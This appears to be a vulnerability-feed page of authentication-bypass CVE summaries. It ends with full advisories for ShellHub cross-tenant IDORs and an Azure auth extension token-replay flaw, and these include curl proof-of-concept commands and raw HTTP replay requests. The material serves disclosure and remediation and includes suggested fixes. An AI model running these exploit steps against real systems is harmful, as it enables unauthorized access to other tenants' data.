Authentication Bypass

Authentication bypass in UltraDAG Core blockchain allows remote unauthenticated attackers to drain all pocket-derived sub-addresses on smart accounts, completely bypassing vault delays and daily spending limits. The StateEngine fails to resolve pocket addresses to their parent account during policy enforcement, treating virtual pocket addresses as unrestricted accounts. Confirmed actively exploited (CISA KEV). Vendor-released patch: commit fb6ef59 resolves pocket-to-parent mapping before all policy checks. EPSS data unavailable but attack vector is network-accessible with no complexity (CVSS 4.0 AV:N/AC:L/PR:N), making this a critical priority for any UltraDAG deployment using smart account pockets.

Onyx versions prior to 3.0.9, 3.1.6, and 3.2.6 expose an authorization bypass in the GET /chat/file/{file_id} endpoint that permits authenticated users to download any other user's files by directly accessing file UUIDs. The endpoint enforces authentication but lacks per-file ownership validation, allowing attackers with valid credentials to exfiltrate confidential documents and chat attachments belonging to other users system-wide. No public exploit code or active exploitation has been identified at time of analysis.

Onyx versions before 3.0.9, 3.1.6, and 3.2.6 permit authenticated users to terminate any other user's active chat session via the POST /chat/stop-chat-session/{chat_session_id} endpoint without verifying session ownership. An attacker with valid credentials can interrupt another user's LLM generation mid-stream by supplying a known session UUID, causing denial of service to targeted chat sessions. Vendor-released patches are available, and no public exploit code or active exploitation has been identified at time of analysis.

AsusPTPFilter driver allows local authenticated users to bypass security mechanisms via crafted IOCTL requests, potentially leaking restricted touchpad information or disabling the touchpad entirely. The vulnerability requires local access and low-level privileges but impacts the integrity and availability of the touchpad subsystem. CVSS 2.0 reflects limited scope (low severity across confidentiality, integrity, availability), but the attack vector is local and requires existing user privileges.

Improper access controls in eladmin up to version 2.7 allow authenticated remote attackers to bypass user level checks through the checkLevel function in the Users API Endpoint (/rest/UserController.java), resulting in unauthorized access to resources. Publicly available exploit code exists, and the vendor has not responded to early notification of the vulnerability.

yeti-platform yeti before 2.1.12 allows attackers to generate valid JWT tokens is the secret is not changed (by setting YETI_AUTH_SECRET_KEY to a value other than SECRET). Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

Netgate pfSense CE 2.8.0 allows code execution in the XMLRPC API via pfsense.exec_php. NOTE: the Supplier disputes this because the API call is only available to admins and they are intentionally allowed to execute PHP code.

Certain GL.iNet devices with 4.x firmware allow authentication bypass (resulting in administrative control of the device) via a username that is both a valid SQL statement and a valid regular. Rated critical severity (CVSS 9.8), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

Remote attackers can decrypt tenant email addresses and metadata, and trigger denial-of-service conditions in MAXHUB Pivot client versions prior to v1.36.2 via hardcoded AES encryption keys. The vulnerability (CWE-327: Broken/Risky Cryptographic Algorithm) enables complete bypass of data confidentiality controls without authentication due to embedded cryptographic secrets in the application binary. CISA ICS-CERT disclosure indicates this affects operational technology environments where MAXHUB collaboration devices are deployed. No active exploitation confirmed in CISA KEV at time of analysis, though the attack vector is trivially exploitable (AV:N/AC:L/PR:N/UI:N) once the hardcoded key is extracted via reverse engineering.

OpenStack Cyborg allows any authenticated user to reprogram FPGA bitstreams and execute privileged operations across arbitrary compute nodes due to unconditional authorization bypass in multiple API endpoints. Versions before 16.0.1 use rule:allow as the default policy, permitting any valid Keystone token holder-even users with zero role assignments-to perform administrative actions including FPGA reconfiguration via agent RPC. EPSS data not available, but the authentication bypass combined with scope change (CVSS S:C) and hardware manipulation capabilities represents significant risk in multi-tenant OpenStack deployments.

GitHub Enterprise Server versions prior to 3.21 contain an authentication bypass vulnerability that allows unauthenticated attackers to create local user accounts and establish sessions without validation by the configured external identity provider. The vulnerability affects instances with external authentication enabled, permitting account creation via the signup endpoint with default base permissions. Attack requires only network access and affects all affected versions across the 3.16-3.20 branch.

Confidentiality breach in Azure AI Foundry M365 published agents enables remote unauthenticated attackers to access high-value data through improper access control (CWE-284). The vulnerability affects agents published through M365 integration, allowing privilege escalation over the network with no authentication required and low attack complexity (CVSS:3.1 AV:N/AC:L/PR:N/UI:N). Microsoft has released a vendor patch per MSRC advisory. No active exploitation confirmed by CISA KEV, and EPSS data not available at time of analysis.

Remote unauthenticated attackers can exploit a server-side request forgery (SSRF) vulnerability in Microsoft Partner Center to access internal resources and perform spoofing attacks. The vulnerability allows high-level information disclosure with limited integrity impact, requiring no user interaction or special privileges. Microsoft has released a security patch, and while CVSS rates this 8.2 (High), no active exploitation or public proof-of-concept has been identified at time of analysis.

Authorization bypass in Microsoft Teams enables authenticated attackers to escalate privileges across security boundaries and access sensitive information from other tenants or user contexts. The CVSS score of 9.6 reflects a scope change (S:C), indicating the attacker can impact resources beyond their authorized permissions with high confidentiality and integrity impact. Vendor-released patch available from Microsoft Security Response Center. No public exploit identified at time of analysis, with CVSS temporal metrics indicating unproven exploitability (E:U).

Remote code execution in Azure Managed Instance for Apache Cassandra allows authenticated attackers with low privileges to execute arbitrary code across tenant boundaries. The vulnerability involves improper access control (CWE-284) enabling scope escape with complete compromise of confidentiality, integrity, and availability. Microsoft has released a patch per MSRC advisory. CVSS 9.9 (Critical) reflects network-based attack with low complexity, low privileges required, and changed scope indicating container/tenant escape potential.

The Go toolchain's module proxy validation can be bypassed by attackers controlling untrusted GOPROXY or GOSUMDB endpoints, allowing delivery of malicious toolchain versions that execute with developer privileges. When the go command downloads a different toolchain version (via GOTOOLCHAIN, go.mod, or go.work directives), a malicious proxy can serve altered toolchains by exploiting checksum database validation logic that incorrectly accepts empty responses. While EPSS indicates only 1% exploitation probability and CISA SSVC marks exploitation status as 'none', the total technical impact rating and network attack vector (AV:N) represent significant supply chain risk for organizations using non-default module proxies. Vendor patch available in Go 1.26.3 and 1.25.10.

Privilege escalation in FreeScout allows low-privileged agents to reassign conversations to customers in unauthorized mailboxes. The Change Customer modal enforces mailbox-scoped visibility on the frontend search endpoint, but the backend conversation_change_customer action lacks parallel authorization checks, accepting arbitrary customer_email parameters. An authenticated agent with access to mailbox A can forge requests to bind conversations to customers in mailbox B, bypassing tenant isolation controls. Vendor-released patch version 1.8.214 addresses this authorization bypass alongside four related customer visibility vulnerabilities disclosed concurrently (GHSA-mv55-3mgv-fxwr, GHSA-wjw4-8xg6-342m, GHSA-9ff4-mmhv-x6jp, GHSA-674v-r6xp-mvp6). No active exploitation confirmed (not in CISA KEV); CVSS 7.1 reflects network vector with low complexity but requires authenticated agent credentials.

FreeScout versions prior to 1.8.217 allow authenticated users with PERM_EDIT_USERS permission to read and modify notification subscriptions of any other user, including administrators, via a single POST request. This authorization bypass enables attackers to silently disable admin notifications, suppressing security alerts and conversation assignments without detection. The vulnerability is a sibling of CVE-2025-48472, indicating incomplete patching of a related code path.

Remote unauthenticated attackers can invoke arbitrary methods in Ivanti Endpoint Manager Mobile (EPMM) via improper access control flaws, enabling authentication bypass and potential system compromise. Affects versions prior to 12.6.1.1, 12.7.0.1, and 12.8.0.1. The CVSS vector indicates network-accessible exploitation with high attack complexity, resulting in high integrity impact and limited confidentiality/availability impact. No active exploitation confirmed via CISA KEV at time of analysis, though the authentication bypass tag and Ivanti's history of targeted attacks warrant elevated monitoring.

Anonymous MQTT access in Yarbo firmware v2.3.9 allows remote unauthenticated attackers on the local network to fully control the robotic lawn mower and exfiltrate sensitive telemetry data. The embedded MQTT broker accepts connections without credentials and enforces no topic-level access controls, enabling arbitrary publish/subscribe operations. No authentication, authorization, or message validation occurs. EPSS and KEV data not available; exploitation requires only network access to the robot's MQTT port (typically TCP 1883).

Hardcoded administrative credentials in Yarbo firmware v2.3.9 allow remote unauthenticated attackers to gain full device administrative access across all deployed units. The CVSS 9.8 critical score reflects the complete lack of authentication barriers (AV:N/AC:L/PR:N), with identical credentials embedded in every device that cannot be changed by end users. No active exploitation has been confirmed by CISA KEV, but a public GitHub repository reference suggests potential proof-of-concept availability. EPSS data unavailable, though the trivial exploitation path (no complexity, no privileges required) indicates high weaponization potential once credentials become widely known.

Privilege escalation in Ivanti Endpoint Manager Mobile (EPMM) allows remote authenticated attackers with low-level credentials to gain full administrative access. Affected versions prior to 12.6.1.1, 12.7.0.1, and 12.8.0.1 contain an improper access control flaw (CWE-284) that enables credential-holding users to bypass authorization checks and assume administrative privileges. With CVSS 8.8 (High) and network-exploitable attack vector requiring only low privileges, this represents a significant risk for enterprise mobile device management environments, though EPSS data and active exploitation status are not available at time of analysis.

Wallos versions 4.8.4 and prior allow authenticated users to bypass webhook URL restrictions and send server-side requests to administrator-allowlisted internal targets by reusing the global allowlist for individual user webhooks. This enables Server-Side Request Forgery (SSRF) to internal automation services that may expose deployment or execution APIs, potentially leading to remote code execution on downstream systems. No public exploit code identified at time of analysis, and no vendor-released patch is available.

Certificate validation in GnuTLS can be bypassed when a certificate chain contains Certificate Authorities with only excluded name constraints followed by CAs with permitted name constraints. Remote attackers can exploit this flaw (CVSS 7.4, AV:N/AC:H) to present invalid certificates that pass validation, enabling man-in-the-middle attacks or service impersonation against TLS-protected communications. The vulnerability affects Red Hat Enterprise Linux versions 6-10, OpenShift Container Platform 4, and Red Hat Hardened Images. No public exploit or active exploitation confirmed at time of analysis, though the technical nature suggests targeted attacks against high-value certificate infrastructure are feasible.

Authentication bypass in GnuTLS affects servers that enable the RSA-PSK key exchange, where the PSK identity comparison treats a username containing an embedded NUL byte as equal to a legitimate truncated username. Remote attackers can send a crafted username to circumvent pre-shared-key authentication and gain unauthorized access. There is no public exploit identified at time of analysis, the EPSS probability is low (0.15%), and CISA SSVC scores exploitation as none - indicating high theoretical severity but no observed real-world abuse.

Missing authorization controls in bPlugins PDF Poster WordPress plugin versions up to 2.4.1 allow unauthenticated remote attackers to read sensitive information by exploiting incorrectly configured access control. The vulnerability exposes limited confidential data without requiring authentication or user interaction, affecting all default installations of the affected plugin versions.

Missing authorization controls in the Magepeople Inc. Bus Ticket Booking with Seat Reservation WordPress plugin allow unauthenticated remote attackers to modify data (such as ticket bookings or seat reservations) through incorrectly configured access control security levels. The vulnerability affects versions before 5.6.8 and has a CVSS score of 5.3 (medium severity) with a network attack vector requiring no authentication or user interaction.

Authorization bypass in YITH WooCommerce Wishlist through version 4.12.0 allows unauthenticated remote attackers to modify wishlist data via user-controlled object references, exploiting improper access control validation. The vulnerability enables integrity attacks against wishlist functionality without requiring authentication or user interaction, affecting all WordPress installations using the vulnerable plugin.

Missing authorization in Royal Elementor Addons before version 1.7.1053 allows unauthenticated remote attackers to read sensitive information via incorrectly configured access control security levels. The vulnerability affects the WordPress plugin and exposes confidential data without requiring user authentication or interaction, impacting all installations below the patched version.

vm2 NodeVM with nesting:true silently overrides require:false, granting sandbox code unconditional access to require('vm2') and enabling remote code execution on the host via nested NodeVM construction. Applications running untrusted code in a NodeVM configured with {nesting:true, require:false} are fully compromised — attackers can execute arbitrary OS commands as the host process user. Publicly available exploit code exists (proof-of-concept demonstrated command execution via child_process). CVSS 9.1 indicates high privileges required (PR:H), meaning the host must explicitly enable nesting:true, but the severity reflects scope change (S:C) when this non-default configuration is present. Vendor-released patch in vm2 3.11.1 converts contradictory configuration into a runtime error at NodeVM construction time, preventing silent sandbox escape.

vm2's NodeVM sandbox escape allows remote code execution when applications use the common `builtin: ['*', '-child_process']` configuration pattern. An attacker with the ability to submit code to the sandbox can bypass the builtin allowlist by requiring the `module` builtin, then using `Module._load()` to load explicitly excluded modules like `child_process` in the host context. This directly leads to arbitrary command execution on the host system. The vulnerability affects vm2 version 3.10.5, with a vendor-released patch available in version 3.11.0. CVSS score of 9.9 reflects critical severity with network attack vector, low complexity, and scope change from sandbox to host. No public exploit code or active exploitation evidence identified at time of analysis.

Remote unauthenticated attackers can access Google Secrets Manager credentials from unintended GCP projects via crafted requests to Spring Cloud Config servers using Google Secrets Manager as a backend. VMware confirmed this high-severity information disclosure vulnerability (CVSS 7.5) affecting all 3.1.x through 5.0.x versions. No CISA KEV listing or public exploit code identified at time of analysis, but the network-accessible attack vector with no authentication or user interaction required (AV:N/AC:L/PR:N/UI:N) indicates straightforward exploitation once attackers identify vulnerable Spring Cloud Config deployments with Google Secrets Manager integration.

Policy rollback vulnerability in gittuf versions up to 0.13.1 allows attackers with push access to the Reference State Log (RSL) to downgrade repository policies to previously signed versions, bypassing security controls. An attacker cannot roll back to policies that would be unsigned by the current root keys, but can selectively choose any valid prior policy state. Vendor-released patch: gittuf v0.14.0 introduces monotonically increasing version numbers to all policy metadata to prevent rollback attacks.

Forminator Forms plugin for WordPress versions up to 1.53.0 allows authenticated subscribers to configure scheduled exports without authorization checks, enabling attackers to exfiltrate all form submissions by redirecting them to attacker-controlled email addresses. The vulnerability exists in the listen_for_saving_export_schedule() function which lacks the capability verification present in the parallel listen_for_csv_export() function, creating a direct authorization bypass for authenticated low-privilege users to access sensitive data collection and delivery mechanisms.

etcd RBAC authorization bypass allows authenticated users to read unauthorized data or attach leases via PrevKv or lease attachment features in transaction Put requests, circumventing role-based access control checks. Affects etcd 3.4.x through 3.6.x before patched versions 3.4.44, 3.5.30, and 3.6.11. While Kubernetes deployments are typically not affected because the API server handles its own authorization, etcd deployments with reliance on etcd's built-in RBAC-particularly those managed directly or used outside Kubernetes-face exposure to privilege escalation and unauthorized data access by already-authenticated users.

ShellHub Community v0.24.1 and earlier allows authenticated API Key holders to enumerate any tenant namespace and retrieve sensitive membership data (user IDs, emails, roles), settings, and device counts via GET /api/namespaces/:tenant due to a bypassed authorization check. The vulnerability exploits API Key authentication flows that fail to set the user ID header, causing the membership verification to be skipped entirely. Publicly available proof-of-concept code demonstrates validated exploitation against v0.24.1, with complete disclosure of cross-tenant namespace configuration including member lists suitable for targeted phishing campaigns.

Appointment Booking Calendar plugin for WordPress up to version 1.6.10.6 allows unauthenticated attackers to view, delete, and modify arbitrary appointments due to missing authorization checks in REST API endpoints. The plugin exposes a site-wide public nonce through an unauthenticated endpoint (/wp-json/ssa/v1/embed-inner), and the appointment deletion and modification endpoints (/wp-json/ssa/v1/appointments/{id}/delete and /wp-json/ssa/v1/appointments/bulk) accept requests with this public nonce even when standard WordPress nonce validation fails, bypassing authorization entirely. Attackers can enumerate and delete appointment records, disclose sensitive booking data, and disrupt services without any authentication.

Authentication bypass in free5GC Policy Control Function (PCF) allows unauthenticated network attackers to access Session Management policy control APIs and exfiltrate subscriber identities (SUPI). The Npcf_SMPolicyControl service group omits RouterAuthorizationCheck middleware, permitting OAuth-less access to four policy management endpoints that should require service-to-service authentication. Publicly available exploit code exists. CVSS 8.2 reflects direct network access with no authentication barrier, high confidentiality impact from SUPI disclosure, and low integrity impact from unauthorized policy manipulation. No EPSS or KEV data available, but PoC in vendor advisory demonstrates trivial exploitation against default SBI deployments.

Cross-tenant Insecure Direct Object Reference (IDOR) in Aegra 0.9.0-0.9.6 allows any authenticated user to execute graph runs against other users' threads, exfiltrate full checkpoint state including conversation histories, and inject malicious messages into victims' threads by supplying known thread UUIDs to POST /threads/{thread_id}/runs endpoints. Thread IDs leak through frontend URLs, server logs, and observability traces, eliminating need for enumeration. Vendor-released patch (v0.9.7) confirmed by GitHub advisory GHSA-m98r-6667-4wq7. No active exploitation or POC identified at time of analysis, though detailed reproducer exists in issue #336.

ServiceAccount impersonation bypass in Rancher Fleet allows tenants with git push access to multi-tenant clusters to read secrets from any namespace across all downstream clusters. Two distinct code paths failed to properly apply RBAC constraints: Helm's lookup function executed with cluster-admin credentials instead of the impersonated ServiceAccount, and valuesFrom secret references in fleet.yaml bypassed namespace isolation. Confirmed active exploitation status unknown (not in CISA KEV). CVSS 9.9 with scope-change modifier reflects potential credential leakage to external services. Fleet versions 0.12.0 through 0.15.0 affected across multiple Rancher release branches. Patches available for all supported versions with detailed version matrix provided by SUSE.

Missing authorization in Forminator Forms for WordPress (versions up to 1.51.1) allows authenticated users with subscriber-level access or restricted Forminator roles to perform sensitive module-management actions including export, delete, clone, and bulk status changes by bypassing capability checks. The vulnerability exists because the `processRequest()` method validates only a nonce without verifying the `manage_forminator_modules` capability, and fires during the `admin_menu` hook before WordPress enforces page-level permission checks. This enables attackers to export complete form configurations including credentials and conditional logic, delete submissions, or manipulate published modules.

Remote attackers can manipulate server filesystem operations in Gotenberg v8 by bypassing ExifTool metadata blocklist using group-prefix syntax (e.g., 'File:FileName' instead of 'FileName'). The vulnerability allows unauthenticated file renaming, moving, symlink/hardlink creation, and permission modification on the server. This directly bypasses the previous fix for GHSA-qmwh-9m9c-h36m. Public exploit code exists with working PoC commands. In non-containerized deployments or those with mounted volumes, attackers can achieve arbitrary file read via symlink chaining and file overwrites. CVSS 8.2 (High) with network vector, low complexity, and no authentication required.

CRLF injection in Netty's RedisEncoder allows remote command injection and response poisoning by injecting carriage return and line feed characters into InlineCommandRedisMessage, SimpleStringRedisMessage, and ErrorRedisMessage objects. Attackers can inject arbitrary Redis commands (such as CONFIG SET, FLUSHALL, or authentication bypass) or forge fake responses when user-controlled input is placed into these message types without sanitization. The vulnerability affects Netty 4.2.12.Final and all prior versions with the codec-redis module; no active exploitation has been reported in CISA KEV, but publicly available proof-of-concept code demonstrates the vulnerability.

HTTP request smuggling in Netty's netty-codec-http (HttpObjectDecoder) lets remote attackers desynchronize message boundaries by sending an HTTP/1.0 request carrying both Transfer-Encoding: chunked and Content-Length. Netty's anti-smuggling sanitization that strips the conflicting Content-Length header only runs for HTTP/1.1, so on HTTP/1.0 Netty parses the body as chunked while leaving Content-Length intact for any downstream Content-Length-first proxy, which then treats trailing chunk bytes as a new request. Publicly available exploit code exists (a working EmbeddedChannel PoC test), but EPSS is very low (0.03%, 8th percentile) and it is not in CISA KEV.

HTTP header injection via CRLF sequences in Netty's HttpProxyHandler allows remote attackers to inject arbitrary HTTP headers into CONNECT proxy requests by supplying malicious outbound headers, bypassing the incomplete fix for GHSA-84h7-rjj3-6jx4. The vulnerability affects Netty 4.1.x up to 4.1.132.Final and 4.2.x up to 4.2.12.Final; unauthenticated remote exploitation is possible when applications pass user-influenced headers to HttpProxyHandler without performing their own CRLF sanitization. CVSS 7.5 (high integrity impact); no public exploit code confirmed at time of analysis, but proof-of-concept source code is provided in the advisory.

Unauthenticated remote root access on Optoma CinemaX P2 smart projectors allows network attackers to execute arbitrary code with full system privileges. The device ships with ADB enabled on TCP 5555 without authentication (ro.adb.secure=0) and contains an unrestricted su binary, enabling complete device compromise including WiFi credential theft, malware installation, and data exfiltration. EPSS score (0.02%, 6th percentile) indicates low widespread exploitation probability, though SSVC framework assesses total technical impact. No public exploit code or active exploitation confirmed at time of analysis.

The Optoma CinemaX P2 projector (firmware TVOS-04.24.010.04.01, Android 8.0.0) exposes an HTTP API on TCP port 2345 that allows full unauthenticated remote control of the device. The API supports both reading configuration (74 endpoints) and writing/modifying settings including volume, mute, brightness, power, network protocols enable/disable (including TELNET), display modes, and other projector functions. Any device on the same network can control the projector without authentication.

Remote unauthenticated attackers can execute arbitrary code in Snipe-IT versions 8.4.0 and earlier by uploading malicious files through the API's UploadedFilesController component. The vulnerability stems from an authorization bypass where file upload endpoints required only 'view' permission instead of 'update' permission, allowing attackers to upload and execute code without proper authentication. Fixed in commit 676a9958 (March 10, 2026). EPSS data not available. No CISA KEV listing identified at time of analysis. Public exploit code (POC) status unknown, though GitHub security advisory GHSA-xg82-2hrv-hf64 confirms the flaw.

## Summary `GET /api/sessions/:uid` returns the full session object for any authenticated caller, without scoping by the caller's tenant. An authenticated user can read session records (SSH username, device UID, remote IP, terminal type, authenticated flag, timestamps) belonging to any other namespace. ## Severity **CVSS 3.1: 7.5 (High)** CWE-639 ## Affected versions ShellHub Community v0.24.1 (by code inspection - same vulnerable pattern as `GetDevice`). Not plant-reproducible without an active SSH session, but the flaw is structurally identical and confirmed via static analysis. ## Root cause `api/services/session.go:37-44` - `GetSession` resolves the session by UID without any tenant filter: ```go func (s *service) GetSession(ctx context.Context, uid models.UID) (*models.Session, error) { session, err := s.store.SessionResolve(ctx, store.SessionUIDResolver, string(uid)) // ⚠️ missing: s.store.Options().InNamespace(tenant) ... } ``` The `Authorize` middleware only verifies presence of a tenant in the context, not ownership of the requested session. ## Proof of concept Pre-requisite: attacker has any valid user account and has obtained a session UID from the victim tenant (UIDs may leak via logs, shared session recordings, UI URLs, or through the device IDOR in the companion advisory since sessions reference devices by UID). ```bash ATTACKER_TOKEN=$(curl -s -X POST http://target/api/login \ -H 'Content-Type: application/json' \ -d '{"username":"attacker","password":"..."}' | jq -r .token) # Attempt cross-tenant read curl -i "http://target/api/sessions/<victim-session-uid>" \ -H "Authorization: Bearer $ATTACKER_TOKEN" # Expected (fixed): HTTP 403/404 # Observed (v0.24.1): HTTP 200 + full session JSON ``` ## Impact - Cross-tenant disclosure of SSH session data: target username, device UID, remote IP, authenticated status, session type, terminal, position (geolocation), started_at / last_seen timestamps. - Enables reconnaissance of other tenants' active users and systems; combined with session recording features, can enable deeper recon. ## Suggested fix `api/services/session.go` - apply `InNamespace` in `GetSession`: ```go func (s *service) GetSession(ctx context.Context, uid models.UID) (*models.Session, error) { tenant := gateway.TenantFromContext(ctx) opts := []store.QueryOption{} if tenant != nil { opts = append(opts, s.store.Options().InNamespace(tenant.ID)) } session, err := s.store.SessionResolve(ctx, store.SessionUIDResolver, string(uid), opts...) ... } ```

## Summary `GET /api/devices/:uid` returns the full device object whenever the caller is authenticated, without verifying that the device belongs to the caller's namespace (tenant). Any authenticated user (JWT or API Key) who knows or can guess a device UID can read device metadata from any other namespace. ## Severity **CVSS 3.1: 7.5 (High)** CWE-639 - Authorization Bypass Through User-Controlled Key ## Affected versions ShellHub Community v0.24.1 (validated). Likely all prior versions that share this handler. ## Root cause `api/services/device.go:97-104` - `GetDevice` resolves the device by UID without scoping to the caller's tenant: ```go func (s *service) GetDevice(ctx context.Context, uid models.UID) (*models.Device, error) { device, err := s.store.DeviceResolve(ctx, store.DeviceUIDResolver, string(uid)) // ⚠️ missing: s.store.Options().InNamespace(tenant) ... } ``` Compare with `DeleteDevice` in the same file (line 137) which correctly applies `InNamespace(tenant)`. The `Authorize` middleware (`api/routes/middleware/authorize.go:12-27`) only checks that a tenant is present in the context - not that the resource belongs to that tenant. ## Proof of concept (validated live against v0.24.1) Pre-requisite: attacker has any valid user account and knows a target `tenant_id` (UUIDs frequently leak via UI URLs, email invites, support channels, or prior namespace membership). ```bash ATTACKER_TOKEN=$(curl -s -X POST http://target/api/login \ -H 'Content-Type: application/json' \ -d '{"username":"attacker","password":"..."}' | jq -r .token) TARGET_TENANT="<victim-tenant-uuid>" # Plant a device in the victim tenant via the public device-auth endpoint # (this also works when the victim already has devices and the attacker # merely guessed/obtained a real UID via another vector) VICTIM_UID=$(curl -s -X POST http://target/api/devices/auth \ -H 'Content-Type: application/json' \ -d "{ \"info\":{\"id\":\"x\",\"pretty_name\":\"x\",\"version\":\"v0.24.1\",\"arch\":\"amd64\",\"platform\":\"docker\"}, \"hostname\":\"poc\", \"identity\":{\"mac\":\"aa:bb:cc:dd:ee:ff\"}, \"public_key\":\"-----BEGIN RSA PUBLIC KEY-----\\nx\\n-----END RSA PUBLIC KEY-----\", \"tenant_id\":\"$TARGET_TENANT\" }" | jq -r .uid) # Read the device from a completely different tenant curl -i "http://target/api/devices/$VICTIM_UID" \ -H "Authorization: Bearer $ATTACKER_TOKEN" # Expected (fixed): HTTP 403/404 # Observed (v0.24.1): HTTP 200 + full device JSON (tenant_id, public_key, MAC, # namespace name, OS info, last_seen, remote_addr, ...) ``` ## Impact - Cross-tenant disclosure of device metadata: hostname, MAC, OS fingerprint, public SSH key, namespace name, last-seen timestamp, remote address. - Enables namespace enumeration, device inventory reconnaissance of other tenants, and targeted follow-up attacks. ## Suggested fix In `api/services/device.go` `GetDevice`, extract tenant from context and apply `InNamespace`: ```go func (s *service) GetDevice(ctx context.Context, uid models.UID) (*models.Device, error) { tenant := gateway.TenantFromContext(ctx) opts := []store.QueryOption{} if tenant != nil { opts = append(opts, s.store.Options().InNamespace(tenant.ID)) } device, err := s.store.DeviceResolve(ctx, store.DeviceUIDResolver, string(uid), opts...) ... } ```

### Impact The unprocessed entities read endpoints in `@backstage/plugin-catalog-backend-module-unprocessed` do not enforce permission authorization checks. Any authenticated user can access unprocessed entity records regardless of ownership. This is an information disclosure vulnerability affecting Backstage installations using this module. ### Patches This is patched in `@backstage/plugin-catalog-backend-module-unprocessed` version 0.6.11, `@backstage/plugin-catalog-unprocessed-entities-common` version 0.0.15 and `@backstage/plugin-catalog-unprocessed-entities` version 0.2.30. Users should upgrade all packages. ### Workarounds If users cannot upgrade, they can remove the `@backstage/plugin-catalog-backend-module-unprocessed` module from their backend until the patch is applied. There is no configuration-based workaround to add permission checks to these endpoints without upgrading.

### Summary A server-side authentication bypass in `azureauthextension` allows any party who holds a single valid Azure access token for *any scope the collector's configured identity can mint for* to authenticate to any OpenTelemetry receiver that uses `auth: azure_auth`. The extension's `Authenticate` method does not validate incoming bearer tokens as JWTs. Instead, it calls its own configured credential to obtain an access token and compares the client's token to the result with string equality - and the scope for that server-side token request is taken from the client-supplied `Host` header. As a result, a token minted for any Azure resource the service principal has ever been issued a token for (ARM, Graph, Key Vault, Storage, etc.) will authenticate to the collector if the attacker picks a matching `Host`. Tokens are replayable for the full issued lifetime (commonly several hours for managed identity tokens). Severity: High (CVSS 8.1). See "Threat model" below for the preconditions that inform that score. ### Root cause The extension implements both `extensionauth.HTTPClient` (outbound: "attach my identity to requests I send") and `extensionauth.Server` (inbound: "validate a credential someone presented to me"). Those two interfaces look symmetric but are not: holding a credential to present says nothing about the ability to validate a credential someone else presents. The outbound path only requires `credential.GetToken()`; the inbound path requires JWT signature verification against the issuer's JWKS, issuer/audience/exp/nbf checks, and an algorithm allowlist - none of which the extension does. PR #39178 ("Implement extensionauth.HTTPClient and extensionauth.Server interface functions") added the `Server` path in v0.124.0 by reusing the same credential object and comparing strings. That server-side path is present in every release through v0.150.0. The outbound `HTTPClient` path (used by Azure exporters) is unaffected. ### Details Vulnerable code - `extension/azureauthextension/extension.go:208-235`: ```go func (a *authenticator) Authenticate(ctx context.Context, headers map[string][]string) (context.Context, error) { auth, err := getHeaderValue("Authorization", headers) if err != nil { return ctx, err } host, err := getHeaderValue("Host", headers) if err != nil { return ctx, err } authFormat := strings.Split(auth, " ") if len(authFormat) != 2 { /* ... */ } if authFormat[0] != "Bearer" { /* ... */ } token, err := a.getTokenForHost(ctx, host) // asks the collector's own identity if err != nil { return ctx, err } if authFormat[1] != token { // string comparison, not JWT validation return ctx, errors.New("unauthorized: invalid token") } return ctx, nil } ``` And `getTokenForHost` at `extension.go:187-206`: ```go options := policy.TokenRequestOptions{ Scopes: []string{ fmt.Sprintf("https://%s/.default", host), // client-supplied Host chooses scope }, } ``` Two independent problems compose here: **1. No JWT validation.** Real Entra ID bearer validation requires verifying the JWT signature against the tenant JWKS and checking `iss`, `aud`, `exp`, `nbf`, plus an algorithm allowlist. The extension does none of this. The "expected" value is a token the server mints from its own credential, not a signature to verify. Any party that already holds a valid token for the collector's identity - a co-tenant pod that shares the managed identity, any peer authenticated with the same service principal, any component that retained an `Authorization:` header - can replay it directly. **2. Attacker-controlled audience.** The scope used to mint the "expected" token comes from the client-supplied `Host` header: `https://<Host>/.default`. The `azcore` credential returns a consistent token per (identity, scope) pair within the cache window, so an attacker can pick any scope the SP has been issued a token for and match it by setting `Host` accordingly. This is the sharper of the two flaws: it means a token leaked from an unrelated Azure integration - ARM, Graph, Key Vault, a different Storage account - authenticates to the collector. The correct primitive is a real JWT validator - e.g. `github.com/coreos/go-oidc/v3` pointed at the tenant's discovery endpoint, with audience and issuer pinned *server-side from configuration*, never derived from request headers. ### Proof of concept Both variants assume a collector running with `azureauthextension` v0.124.0-v0.150.0, configured with any credential mode and referenced from a receiver's `auth:` block: ```yaml extensions: azure_auth: managed_identity: client_id: ${CLIENT_ID} receivers: otlp: protocols: http: endpoint: 0.0.0.0:4318 auth: authenticator: azure_auth service: extensions: [azure_auth] pipelines: traces: receivers: [otlp] exporters: [debug] ``` #### Variant A - Replay (same scope) The attacker controls a workload that shares the collector's managed identity (common in AKS when multiple pods bind the same UAMI). Both workloads query IMDS for `https://management.azure.com/.default` and receive the same cached token. The attacker replays: ``` POST /v1/traces HTTP/1.1 Host: management.azure.com Authorization: Bearer eyJ... # token minted for management.azure.com Content-Type: application/json {"resourceSpans":[...]} ``` `Authenticate` calls `getTokenForHost(ctx, "management.azure.com")`, receives the identical cached token, and the string comparison passes. #### Variant B - Scope confusion (the stronger case) The attacker holds a token for the SP issued for a *different* Azure resource - say Key Vault, obtained from an entirely unrelated integration. The collector was never intended to accept Key Vault tokens. The attacker sets `Host` to match: ``` POST /v1/traces HTTP/1.1 Host: vault.azure.net Authorization: Bearer eyJ... # token minted for vault.azure.net Content-Type: application/json {"resourceSpans":[...]} ``` `Authenticate` calls `getTokenForHost(ctx, "vault.azure.net")`. The collector's credential mints (or returns cached) a token for `https://vault.azure.net/.default` - the same token the attacker holds, because both come from the same SP issued for the same scope by the same IdP. Comparison passes. The collector accepts telemetry gated on "proof of identity to Key Vault." In a correct implementation, the JWT's `aud` would be pinned server-side to a value unrelated to `Host`, and Variant B would fail regardless of what the attacker put in the `Host` header. A small Go reproducer can be built around the extension's own test harness: the existing `TestAuthenticate` in `extension_test.go` is effectively a demonstration of the broken behavior - it passes when the client-supplied token equals the server-side token for the given `Host`, which is exactly what an attacker arranges. ### Impact **Vulnerability class:** Improper Authentication (CWE-287), with contributing CWE-347 (Improper Verification of Cryptographic Signature - no JWT validation), CWE-294 (Authentication Bypass by Capture-replay - tokens replayable for full TTL), and CWE-290 (Authentication Bypass by Spoofing - client `Host` header chooses the expected scope). **Threat model / precondition.** The attacker needs to already hold (or be able to obtain) a valid Azure access token issued to the collector's SP for any scope. In practice this is satisfied by: (a) controlling another workload that binds the same managed identity, (b) compromising any peer authenticated with the same SP, or (c) observing an `Authorization:` header from any prior legitimate request for the SP. This is what drives the 8.1 score - the precondition is non-trivial 